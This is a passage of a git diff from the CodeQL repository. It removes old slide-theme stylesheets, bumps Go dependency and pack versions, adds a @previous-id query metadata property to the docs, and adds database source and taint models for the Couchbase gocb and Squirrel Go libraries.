-      left: auto !important;
-      margin-top: 0 !important;
-      margin-left: 0 !important;
-      opacity: 1 !important;
-      color: #555;
-
-      &.far-past,
-      &.past,
-      &.next,
-      &.far-next,
-      &.far-past,
-      &.current {
-        opacity: 1 !important;
-        display: block !important;
-      }
-
-      .build {
-        > * {
-          @include transition(none);
-        }
-
-        .to-build,
-        .build-fade {
-          opacity: 1;
-        }
-      }
-
-      .auto-fadein {
-        opacity: 1 !important;
-      }
-
-      &.backdrop {
-        display: none !important;
-      }
-
-      table.rows {
-        border-right: 0;
-      }
-    }
-
-    slide[hidden] {
-      display: none !important;
-    }
-  }
-
-  .slide-area {
-    display: none;
-  }
-
-  .reflect {
-    -webkit-box-reflect: none;
-    -moz-box-reflect: none;
-    -o-box-reflect: none;
-    -ms-box-reflect: none;
-    box-reflect: none;
-  }
-
-  pre, code {
-    font-family: monospace !important;
-  }
-}
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/hieroglyph.scss b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/hieroglyph.scss
deleted file mode 100644
index e406085227b0..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/hieroglyph.scss
+++ /dev/null
@@ -1,100 +0,0 @@
-@import "compass/css3/background-size";
-
-@import "variables";
-
-ol {
-  margin-left: 1.2em;
-  margin-bottom: 1em;
-  position: relative;
-  list-style: decimal;
-
-  li {
-    margin-bottom: 0.5em;
-
-    ol {
-      margin-left: 2em;
-      margin-bottom: 0;
-      list-style: decimal;
-
-      li:before {
-        font-weight: 600;
-      }
-    }
-  }
-
-  ol {
-    margin-top: .5em;
-    list-style: decimal;
-
-  }
-}
-
-slide.title-image {
-
-  padding-right: 0px;
-
-  hgroup {
-    position: static !important;
-
-    margin-top: 35%;
-    padding-left: 30px;
-
-    background: rgba(255, 255, 255, 0.7);
-
-    border-top-left-radius: $slide-border-radius;
-    -webkit-border-top-left-radius: $slide-border-radius;
-    -moz-border-top-left-radius: $slide-border-radius;
-    -o-border-top-left-radius: $slide-border-radius;
-  }
-
-  hgroup + article {
-    background: rgba(255, 255, 255, 0.7);
-
-    margin-top: 0px;
-    padding-left: 30px;
-
-    border-bottom-left-radius: $slide-border-radius;
-    -webkit-border-bottom-left-radius: $slide-border-radius;
-    -moz-border-bottom-left-radius: $slide-border-radius;
-    -o-border-bottom-left-radius: $slide-border-radius;
-  }
-
-  h1 {
-    color: #222;
-    font-size: 3.2em;
-
-    line-height: 1.5em;
-    font-weight: 500;
-  }
-
-    div.figure {
-
-      img {
-        position: absolute;
-        left: 0;
-        top: 0;
-        min-width: 100%;
-        min-height: 100%;
-
-        border-radius: $slide-border-radius;
-        -o-border-radius:  $slide-border-radius;
-        -moz-border-radius:  $slide-border-radius;
-        -webkit-border-radius:  $slide-border-radius;
-
-        z-index: -1;
-      }
-
-      .caption {
-        color: black;
-        background: rgba(255, 255, 255, 0.25);
-        padding: 0 5px;
-        border-bottom-left-radius: $slide-border-radius;
-        border-top-right-radius: $slide-border-radius;
-
-        position: absolute;
-        left: 0;
-        bottom: 0;
-        margin-bottom: 0;
-      }
-    }
-}
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/io2013.scss b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/io2013.scss
deleted file mode 100644
index c728cfbf56d9..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/io2013.scss
+++ /dev/null
@@ -1,51 +0,0 @@
-@import "compass/css3/background-size";
-
-@import "variables";
-
-* {
-  line-height: 1.3;
-}
-
-h2 {
-  font-weight: bold;
-}
-h2, h3 {
-  color: $gray-4;
-}
-
-q, blockquote {
-  font-weight: bold;
-}
-
-slides > slide {
-  color: $gray-4;
-
-  &.title-slide {
-    &:after {
-      content: '';
-      background: url(../../images/io2013/google-io-lockup-1.png) no-repeat 100% 50%;
-      @include background-size(contain);
-      position: absolute;
-      bottom: $slide-top-bottom-padding + 40;
-      right: $slide-top-bottom-padding;
-      width: 100%;
-      height: 90px;
-    }
-
-    hgroup {
-      h1 {
-        font-weight: bold;
-        line-height: 1.1;
-      }
-      h2, p {
-        color: $gray-4;
-      }
-      h2 {
-        margin-top: 0.25em;
-      }
-      p {
-        margin-top: 3em;
-      }
-    }
-  }
-}
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/phone.scss b/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/phone.scss
deleted file mode 100644
index c6a40432470f..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/static/theme/scss/phone.scss
+++ /dev/null
@@ -1,35 +0,0 @@
-@import "compass/css3/transition";
-
-
-/*Smartphones (portrait and landscape) ----------- */
-/*@media only screen
-and (min-width : 320px)
-and (max-width : 480px) {
-
-}*/
-
-/* Smartphones (portrait) ----------- */
-//@media only screen and (max-device-width: 480px) {
-/* Styles */
-//$slide-width: 350px;
-//$slide-height: 500px;
-
-slides > slide {
-/*  width: $slide-width !important;
-  height: $slide-height !important;
-  margin-left: -$slide-width / 2 !important;
-  margin-top: -$slide-height / 2 !important;
-*/
-  // Don't do full slide transitions on mobile.
-  -webkit-transition: none !important; // Bug in compass? Not sure why the below is not working
-  @include transition(none !important);
-}
-
-//}
-
-/* iPhone 4 ----------- */
-@media
-only screen and (-webkit-min-device-pixel-ratio : 1.5),
-only screen and (min-device-pixel-ratio : 1.5) {
-/* Styles */
-}
\ No newline at end of file
diff --git a/docs/codeql/ql-training/_static-training/slides-semmle-2/theme.conf b/docs/codeql/ql-training/_static-training/slides-semmle-2/theme.conf
deleted file mode 100644
index fa2b35a18ca6..000000000000
--- a/docs/codeql/ql-training/_static-training/slides-semmle-2/theme.conf
+++ /dev/null
@@ -1,15 +0,0 @@
-[theme]
-inherit = basic
-stylesheet = slides.css
-
-[options]
-custom_css =
-custom_js =
-
-subtitle =
-use_builds = true
-use_prettify = true
-enable_slide_areas = true
-enable_touch = true
-favicon = ''
-presenters =
\ No newline at end of file
diff --git a/docs/codeql/reusables/supported-versions-compilers.rst b/docs/codeql/reusables/supported-versions-compilers.rst
index d4e3d8f10584..92821d9556f7 100644
--- a/docs/codeql/reusables/supported-versions-compilers.rst
+++ b/docs/codeql/reusables/supported-versions-compilers.rst
@@ -25,7 +25,7 @@
    Python [8]_,"2.7, 3.5, 3.6, 3.7, 3.8, 3.9, 3.10, 3.11, 3.12, 3.13",Not applicable,``.py``
    Ruby [9]_,"up to 3.3",Not applicable,"``.rb``, ``.erb``, ``.gemspec``, ``Gemfile``"
    Swift [10]_,"Swift 5.4-6.0","Swift compiler","``.swift``"
-   TypeScript [11]_,"2.6-5.7",Standard TypeScript compiler,"``.ts``, ``.tsx``, ``.mts``, ``.cts``"
+   TypeScript [11]_,"2.6-5.8",Standard TypeScript compiler,"``.ts``, ``.tsx``, ``.mts``, ``.cts``"
 
 .. container:: footnote-group
 
diff --git a/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst b/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst
index 34907e3910ca..e5288ac5c440 100644
--- a/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst
+++ b/docs/codeql/writing-codeql-queries/metadata-for-codeql-queries.rst
@@ -30,6 +30,8 @@ The following properties are supported by all query files:
 +-----------------------+---------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
 | ``@id``               | ``<text>``                | A sequence of words composed of lowercase letters or digits, delimited by ``/`` or ``-``, identifying and classifying the query. Each query must have a **unique** ID. To ensure this, it may be helpful to use a fixed structure for each ID. For example, the standard CodeQL queries have the following format: ``<language>/<brief-description>``.                |
 +-----------------------+---------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
+| ``@previous-id``      | ``<text>``                | Indicates that query results were previously reported on a different query. The previous id should be a sequence of words composed of lowercase letters or digits, delimited by ``/`` or ``-``, identifying and classifying the previous query.                                                                                                                       |
++-----------------------+---------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
 | ``@kind``             | | ``problem``             | Identifies the query is an alert (``@kind problem``) or a path (``@kind path-problem``). For more information on these query types, see ":doc:`About CodeQL queries <about-codeql-queries>`."                                                                                                                                                                         |
 |                       | | ``path-problem``        |                                                                                                                                                                                                                                                                                                                                                                       |
 +-----------------------+---------------------------+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
diff --git a/docs/query-metadata-style-guide.md b/docs/query-metadata-style-guide.md
index 3350111db22e..0030d0073238 100644
--- a/docs/query-metadata-style-guide.md
+++ b/docs/query-metadata-style-guide.md
@@ -93,6 +93,10 @@ Note, `@id` properties should be consistent for queries that highlight the same
 * `@id java/tainted-format-string`
 * `@id cpp/tainted-format-string`
 
+#### Query previous ID `@previous-id`
+
+Queries with alerts that used to be reported on a different query should also have an `@previous-id` property to refer back to the query where the alerts were originally reported. For example, if alerts from `java/query-one` are now reported on `java/query-two`, then the metadata for `java/query-two` should contain: `@previous-id java/query-one`.
+
 
 ### Query type `@kind`
 
@@ -113,7 +117,7 @@ Alert queries (`@kind problem` or `path-problem`) support two further properties
   * `medium`
   * `high`
   * `very-high`
-* `@problem.severity`–defines the likelihood that an alert, either security-related or not, causes an actual problem such as incorrect program behavior: 
+* `@problem.severity`–defines the likelihood that an alert, either security-related or not, causes an actual problem such as incorrect program behavior:
   * `error`–an issue that is likely to cause incorrect program behavior, for example a crash or vulnerability.
   * `warning`–an issue that indicates a potential problem in the code, or makes the code fragile if another (unrelated) part of code is changed.
   * `recommendation`–an issue where the code behaves correctly, but it could be improved.
diff --git a/go/Makefile b/go/Makefile
index 821ab49fc2a0..b32b61bc5c38 100644
--- a/go/Makefile
+++ b/go/Makefile
@@ -52,9 +52,9 @@ ql/lib/go.dbscheme.stats: ql/lib/go.dbscheme build/stats/src.stamp extractor
 	codeql dataset measure -o $@ build/stats/database/db-go
 
 test: all build/testdb/check-upgrade-path
-	codeql test run -j0 ql/test --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache)
+	codeql test run -j0 ql/test --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo)
 #	use GOOS=linux because GOOS=darwin GOARCH=386 is no longer supported
-	env GOOS=linux GOARCH=386 codeql$(EXE) test run -j0 ql/test/query-tests/Security/CWE-681 --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache)
+	env GOOS=linux GOARCH=386 codeql$(EXE) test run -j0 ql/test/query-tests/Security/CWE-681 --search-path .. --consistency-queries ql/test/consistency --compilation-cache=$(cache) --dynamic-join-order-mode=$(rtjo)
 	cd extractor; $(BAZEL) test ...
 	bash extractor-smoke-test/test.sh || (echo "Extractor smoke test FAILED"; exit 1)
 
diff --git a/go/actions/test/action.yml b/go/actions/test/action.yml
index 9ab7f9becfb0..667ee4751ba9 100644
--- a/go/actions/test/action.yml
+++ b/go/actions/test/action.yml
@@ -9,6 +9,10 @@ inputs:
     description: Whether to run formatting, code and qhelp generation checks
     required: false
     default: false
+  dynamic-join-order-mode:
+    description: Value of the --dynamic-join-order-mode flag to pass to the codeql test command
+    required: false
+    default: "none"
 runs:
   using: composite
   steps:
@@ -74,4 +78,4 @@ runs:
       shell: bash
       run: |
         cd go
-        make test cache="${{ steps.query-cache.outputs.cache-dir }}"
+        make test cache="${{ steps.query-cache.outputs.cache-dir }}" rtjo=${{ inputs.dynamic-join-order-mode }}
diff --git a/go/documentation/library-coverage/coverage.csv b/go/documentation/library-coverage/coverage.csv
index 38a7f900fe5e..d8091bbda648 100644
--- a/go/documentation/library-coverage/coverage.csv
+++ b/go/documentation/library-coverage/coverage.csv
@@ -21,7 +21,7 @@ errors,,,3,,,,,,,,,,,,,,,,,,,,,,,3,
 expvar,,,6,,,,,,,,,,,,,,,,,,,,,,,6,
 fmt,3,,16,,,,3,,,,,,,,,,,,,,,,,,,16,
 github.com/ChrisTrenkamp/goxpath,3,,,,,,,,,,,,,,,,,,3,,,,,,,,
-github.com/Masterminds/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
+github.com/Masterminds/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
 github.com/Sirupsen/logrus,145,,,,,,145,,,,,,,,,,,,,,,,,,,,
 github.com/antchfx/htmlquery,4,,,,,,,,,,,,,,,,,,4,,,,,,,,
 github.com/antchfx/jsonquery,4,,,,,,,,,,,,,,,,,,4,,,,,,,,
@@ -33,8 +33,8 @@ github.com/beego/beego,142,68,42,,,,68,,10,,,,,,60,4,,,,,26,,,42,,42,
 github.com/caarlos0/env,,5,2,,,,,,,,,,,,,,,,,,,5,,,,1,1
 github.com/clevergo/clevergo,1,,,,,,,,,,,,,,,,,1,,,,,,,,,
 github.com/codeskyblue/go-sh,4,,,4,,,,,,,,,,,,,,,,,,,,,,,
-github.com/couchbase/gocb,8,,18,,,,,8,,,,,,,,,,,,,,,,,,18,
-github.com/couchbaselabs/gocb,8,,18,,,,,8,,,,,,,,,,,,,,,,,,18,
+github.com/couchbase/gocb,8,22,48,,,,,8,,,,,,,,,,,,,22,,,,,48,
+github.com/couchbaselabs/gocb,8,22,48,,,,,8,,,,,,,,,,,,,22,,,,,48,
 github.com/crankycoder/xmlpath,2,,,,,,,,,,,,,,,,,,2,,,,,,,,
 github.com/cristalhq/jwt,1,,,,1,,,,,,,,,,,,,,,,,,,,,,
 github.com/davecgh/go-spew/spew,9,,,,,,9,,,,,,,,,,,,,,,,,,,,
@@ -77,7 +77,7 @@ github.com/kataras/iris/server/web/context,6,,,,,,,,6,,,,,,,,,,,,,,,,,,
 github.com/kataras/jwt,5,,,,5,,,,,,,,,,,,,,,,,,,,,,
 github.com/kelseyhightower/envconfig,,6,,,,,,,,,,,,,,,,,,,,6,,,,,
 github.com/labstack/echo,3,12,2,,,,,,2,,,,,,,1,,,,,,,,12,,2,
-github.com/lann/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
+github.com/lann/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
 github.com/lestrrat-go/jwx,2,,,,2,,,,,,,,,,,,,,,,,,,,,,
 github.com/lestrrat-go/libxml2/parser,3,,,,,,,,,,,,,,,,,,3,,,,,,,,
 github.com/lestrrat/go-jwx/jwk,1,,,,1,,,,,,,,,,,,,,,,,,,,,,
@@ -106,8 +106,8 @@ google.golang.org/protobuf/internal/encoding/text,,,1,,,,,,,,,,,,,,,,,,,,,,,1,
 google.golang.org/protobuf/internal/impl,,,2,,,,,,,,,,,,,,,,,,,,,,,2,
 google.golang.org/protobuf/proto,,,8,,,,,,,,,,,,,,,,,,,,,,,8,
 google.golang.org/protobuf/reflect/protoreflect,,,1,,,,,,,,,,,,,,,,,,,,,,,1,
-gopkg.in/Masterminds/squirrel,32,,,,,,,,,,,,,,32,,,,,,,,,,,,
-gopkg.in/couchbase/gocb,8,,18,,,,,8,,,,,,,,,,,,,,,,,,18,
+gopkg.in/Masterminds/squirrel,32,27,,,,,,,,,,,,,32,,,,,,27,,,,,,
+gopkg.in/couchbase/gocb,8,22,48,,,,,8,,,,,,,,,,,,,22,,,,,48,
 gopkg.in/glog,90,,,,,,90,,,,,,,,,,,,,,,,,,,,
 gopkg.in/go-jose/go-jose,3,,4,,2,1,,,,,,,,,,,,,,,,,,,,4,
 gopkg.in/go-xmlpath/xmlpath,2,,,,,,,,,,,,,,,,,,2,,,,,,,,
diff --git a/go/documentation/library-coverage/coverage.rst b/go/documentation/library-coverage/coverage.rst
index 90a3c34a940d..2f45f4b7e339 100644
--- a/go/documentation/library-coverage/coverage.rst
+++ b/go/documentation/library-coverage/coverage.rst
@@ -10,8 +10,8 @@ Go framework & library support
    `Afero <https://github.com/spf13/afero>`_,``github.com/spf13/afero*``,,,34
    `Bun <https://bun.uptrace.dev/>`_,``github.com/uptrace/bun*``,,,63
    `CleverGo <https://github.com/clevergo/clevergo>`_,"``clevergo.tech/clevergo*``, ``github.com/clevergo/clevergo*``",,,2
-   `Couchbase official client(gocb) <https://github.com/couchbase/gocb>`_,"``github.com/couchbase/gocb*``, ``gopkg.in/couchbase/gocb*``",,36,16
-   `Couchbase unofficial client <http://www.github.com/couchbase/go-couchbase>`_,``github.com/couchbaselabs/gocb*``,,18,8
+   `Couchbase official client(gocb) <https://github.com/couchbase/gocb>`_,"``github.com/couchbase/gocb*``, ``gopkg.in/couchbase/gocb*``",44,96,16
+   `Couchbase unofficial client <http://www.github.com/couchbase/go-couchbase>`_,``github.com/couchbaselabs/gocb*``,22,48,8
    `Echo <https://echo.labstack.com/>`_,``github.com/labstack/echo*``,12,2,3
    `Fiber <https://github.com/gofiber/fiber>`_,``github.com/gofiber/fiber*``,,,5
    `Fosite <https://github.com/ory/fosite>`_,``github.com/ory/fosite*``,,,2
@@ -31,7 +31,7 @@ Go framework & library support
    `MongoDB Go Driver <https://www.mongodb.com/docs/drivers/go/current/>`_,``go.mongodb.org/mongo-driver*``,11,5,14
    `Revel <http://revel.github.io/>`_,"``github.com/revel/revel*``, ``github.com/robfig/revel*``",46,20,4
    `SendGrid <https://github.com/sendgrid/sendgrid-go>`_,``github.com/sendgrid/sendgrid-go*``,,1,
-   `Squirrel <https://github.com/Masterminds/squirrel>`_,"``github.com/Masterminds/squirrel*``, ``github.com/lann/squirrel*``, ``gopkg.in/Masterminds/squirrel``",,,96
+   `Squirrel <https://github.com/Masterminds/squirrel>`_,"``github.com/Masterminds/squirrel*``, ``github.com/lann/squirrel*``, ``gopkg.in/Masterminds/squirrel``",81,,96
    `Standard library <https://pkg.go.dev/std>`_,"````, ``archive/*``, ``bufio``, ``bytes``, ``cmp``, ``compress/*``, ``container/*``, ``context``, ``crypto``, ``crypto/*``, ``database/*``, ``debug/*``, ``embed``, ``encoding``, ``encoding/*``, ``errors``, ``expvar``, ``flag``, ``fmt``, ``go/*``, ``hash``, ``hash/*``, ``html``, ``html/*``, ``image``, ``image/*``, ``index/*``, ``io``, ``io/*``, ``log``, ``log/*``, ``maps``, ``math``, ``math/*``, ``mime``, ``mime/*``, ``net``, ``net/*``, ``os``, ``os/*``, ``path``, ``path/*``, ``plugin``, ``reflect``, ``reflect/*``, ``regexp``, ``regexp/*``, ``slices``, ``sort``, ``strconv``, ``strings``, ``sync``, ``sync/*``, ``syscall``, ``syscall/*``, ``testing``, ``testing/*``, ``text/*``, ``time``, ``time/*``, ``unicode``, ``unicode/*``, ``unsafe``, ``weak``",52,609,104
    `XORM <https://xorm.io>`_,"``github.com/go-xorm/xorm*``, ``xorm.io/xorm*``",,,68
    `XPath <https://github.com/antchfx/xpath>`_,``github.com/antchfx/xpath*``,,,4
@@ -74,5 +74,5 @@ Go framework & library support
    `yaml <https://gopkg.in/yaml.v3>`_,``gopkg.in/yaml*``,,9,
    `zap <https://go.uber.org/zap>`_,``go.uber.org/zap*``,,11,33
    Others,``github.com/kanikanema/gorqlite``,8,2,24
-   Totals,,494,958,1556
+   Totals,,641,1048,1556
 
diff --git a/go/extractor/go.mod b/go/extractor/go.mod
index 77a22b45f5c1..de799a83fcab 100644
--- a/go/extractor/go.mod
+++ b/go/extractor/go.mod
@@ -9,8 +9,8 @@ toolchain go1.24.0
 // when adding or removing dependencies, run
 //    bazel mod tidy
 require (
-	golang.org/x/mod v0.23.0
-	golang.org/x/tools v0.30.0
+	golang.org/x/mod v0.24.0
+	golang.org/x/tools v0.31.0
 )
 
-require golang.org/x/sync v0.11.0 // indirect
+require golang.org/x/sync v0.12.0 // indirect
diff --git a/go/extractor/go.sum b/go/extractor/go.sum
index 68d0914a62a0..09ebfb8a2a8c 100644
--- a/go/extractor/go.sum
+++ b/go/extractor/go.sum
@@ -1,8 +1,8 @@
 github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
 github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
-golang.org/x/mod v0.23.0 h1:Zb7khfcRGKk+kqfxFaP5tZqCnDZMjC5VtUBs87Hr6QM=
-golang.org/x/mod v0.23.0/go.mod h1:6SkKJ3Xj0I0BrPOZoBy3bdMptDDU9oJrpohJ3eWZ1fY=
-golang.org/x/sync v0.11.0 h1:GGz8+XQP4FvTTrjZPzNKTMFtSXH80RAzG+5ghFPgK9w=
-golang.org/x/sync v0.11.0/go.mod h1:Czt+wKu1gCyEFDUtn0jG5QVvpJ6rzVqr5aXyt9drQfk=
-golang.org/x/tools v0.30.0 h1:BgcpHewrV5AUp2G9MebG4XPFI1E2W41zU1SaqVA9vJY=
-golang.org/x/tools v0.30.0/go.mod h1:c347cR/OJfw5TI+GfX7RUPNMdDRRbjvYTS0jPyvsVtY=
+golang.org/x/mod v0.24.0 h1:ZfthKaKaT4NrhGVZHO1/WDTwGES4De8KtWO0SIbNJMU=
+golang.org/x/mod v0.24.0/go.mod h1:IXM97Txy2VM4PJ3gI61r1YEk/gAj6zAHN3AdZt6S9Ww=
+golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw=
+golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA=
+golang.org/x/tools v0.31.0 h1:0EedkvKDbh+qistFTd0Bcwe/YLh4vHwWEkiI0toFIBU=
+golang.org/x/tools v0.31.0/go.mod h1:naFTU+Cev749tSJRXJlna0T3WxKvb1kWEx15xA4SdmQ=
diff --git a/go/ql/consistency-queries/CHANGELOG.md b/go/ql/consistency-queries/CHANGELOG.md
index 72016e3f662f..b20db0162311 100644
--- a/go/ql/consistency-queries/CHANGELOG.md
+++ b/go/ql/consistency-queries/CHANGELOG.md
@@ -1,3 +1,7 @@
+## 1.0.20
+
+No user-facing changes.
+
 ## 1.0.19
 
 No user-facing changes.
diff --git a/go/ql/consistency-queries/change-notes/released/1.0.20.md b/go/ql/consistency-queries/change-notes/released/1.0.20.md
new file mode 100644
index 000000000000..5fc76269ab27
--- /dev/null
+++ b/go/ql/consistency-queries/change-notes/released/1.0.20.md
@@ -0,0 +1,3 @@
+## 1.0.20
+
+No user-facing changes.
diff --git a/go/ql/consistency-queries/codeql-pack.release.yml b/go/ql/consistency-queries/codeql-pack.release.yml
index e15e0d267b0a..7af2d1347ffc 100644
--- a/go/ql/consistency-queries/codeql-pack.release.yml
+++ b/go/ql/consistency-queries/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 1.0.19
+lastReleaseVersion: 1.0.20
diff --git a/go/ql/consistency-queries/qlpack.yml b/go/ql/consistency-queries/qlpack.yml
index c3b83cd73a5c..82bc42c23786 100644
--- a/go/ql/consistency-queries/qlpack.yml
+++ b/go/ql/consistency-queries/qlpack.yml
@@ -1,5 +1,5 @@
 name: codeql-go-consistency-queries
-version: 1.0.19
+version: 1.0.20
 groups:
   - go
   - queries
diff --git a/go/ql/lib/CHANGELOG.md b/go/ql/lib/CHANGELOG.md
index 78bb56e662af..27ad374e3747 100644
--- a/go/ql/lib/CHANGELOG.md
+++ b/go/ql/lib/CHANGELOG.md
@@ -1,3 +1,11 @@
+## 4.2.2
+
+### Minor Analysis Improvements
+
+* We no longer track taint into a `sync.Map` via the key of a key-value pair, since we do not model any way in which keys can be read from a `sync.Map`.
+* `database` source models have been added for v1 and v2 of the `github.com/couchbase/gocb` package.
+* Added `database` source models for the `github.com/Masterminds/squirrel` ORM package.
+
 ## 4.2.1
 
 No user-facing changes.
diff --git a/go/ql/lib/change-notes/released/4.2.2.md b/go/ql/lib/change-notes/released/4.2.2.md
new file mode 100644
index 000000000000..d710ac69f69d
--- /dev/null
+++ b/go/ql/lib/change-notes/released/4.2.2.md
@@ -0,0 +1,7 @@
+## 4.2.2
+
+### Minor Analysis Improvements
+
+* We no longer track taint into a `sync.Map` via the key of a key-value pair, since we do not model any way in which keys can be read from a `sync.Map`.
+* `database` source models have been added for v1 and v2 of the `github.com/couchbase/gocb` package.
+* Added `database` source models for the `github.com/Masterminds/squirrel` ORM package.
diff --git a/go/ql/lib/codeql-pack.release.yml b/go/ql/lib/codeql-pack.release.yml
index 38ea9976fccd..18bc07709932 100644
--- a/go/ql/lib/codeql-pack.release.yml
+++ b/go/ql/lib/codeql-pack.release.yml
@@ -1,2 +1,2 @@
 ---
-lastReleaseVersion: 4.2.1
+lastReleaseVersion: 4.2.2
diff --git a/go/ql/lib/ext/github.com.couchbase.gocb.model.yml b/go/ql/lib/ext/github.com.couchbase.gocb.model.yml
index d17b53dd6da9..d485c5a25286 100644
--- a/go/ql/lib/ext/github.com.couchbase.gocb.model.yml
+++ b/go/ql/lib/ext/github.com.couchbase.gocb.model.yml
@@ -9,6 +9,32 @@ extensions:
       - ["gocb2", "github.com/couchbase/gocb/v2"]
       - ["gocb2", "gopkg.in/couchbase/gocb.v2"]
       - ["gocb2", "github.com/couchbaselabs/gocb/v2"]
+  - addsTo:
+      pack: codeql/go-all
+      extensible: sourceModel
+    data:
+      - ["group:gocb1", "Cluster", True, "ExecuteAnalyticsQuery", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb1", "Cluster", True, "ExecuteN1qlQuery", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb1", "Cluster", True, "ExecuteSearchQuery", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Cluster", True, "AnalyticsQuery", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Cluster", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Collection", True, "Get", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Collection", True, "GetAndLock", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Collection", True, "GetAndTouch", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Collection", True, "GetAnyReplica", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Collection", True, "LookupIn", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Collection", True, "LookupInAllReplicas", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Collection", True, "LookupInAnyReplica", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Collection", True, "Scan", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Scope", True, "AnalyticsQuery", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "Scope", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "TransactionAttemptContext", True, "Get", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "TransactionAttemptContext", True, "GetReplicaFromPreferredServerGroup", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "TransactionAttemptContext", True, "Insert", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "TransactionAttemptContext", True, "Query", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "TransactionAttemptContext", True, "Replace", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "ViewIndexManager", True, "GetAllDesignDocuments", "", "", "ReturnValue[0]", "database", "manual"]
+      - ["group:gocb2", "ViewIndexManager", True, "GetDesignDocument", "", "", "ReturnValue[0]", "database", "manual"]
   - addsTo:
       pack: codeql/go-all
       extensible: sinkModel
@@ -27,6 +53,9 @@ extensions:
     data:
       - ["group:gocb1", "", False, "NewAnalyticsQuery", "", "", "Argument[0]", "ReturnValue", "taint", "manual"]
       - ["group:gocb1", "", False, "NewN1qlQuery", "", "", "Argument[0]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb1", "AnalyticsResults", True, "One", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb1", "AnalyticsResults", True, "Next", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb1", "AnalyticsResults", True, "NextBytes", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
       - ["group:gocb1", "AnalyticsQuery", True, "ContextId", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
       - ["group:gocb1", "AnalyticsQuery", True, "Deferred", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
       - ["group:gocb1", "AnalyticsQuery", True, "Pretty", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
@@ -43,3 +72,30 @@ extensions:
       - ["group:gocb1", "N1qlQuery", True, "ReadOnly", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
       - ["group:gocb1", "N1qlQuery", True, "ScanCap", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
       - ["group:gocb1", "N1qlQuery", True, "Timeout", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb1", "QueryResults", True, "One", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb1", "QueryResults", True, "Next", "", "", "Argument[receiver]", "Argument[0]", "taint", "manual"]
+      - ["group:gocb1", "QueryResults", True, "NextBytes", "", "", "Argument[receiver]", "ReturnValue", "taint", "manual"]
+      - ["group:gocb1", "SearchResults", True, "Hits", "", "", "Argument[receiver]", "ReturnValue.ArrayElement", "taint", "manual"]
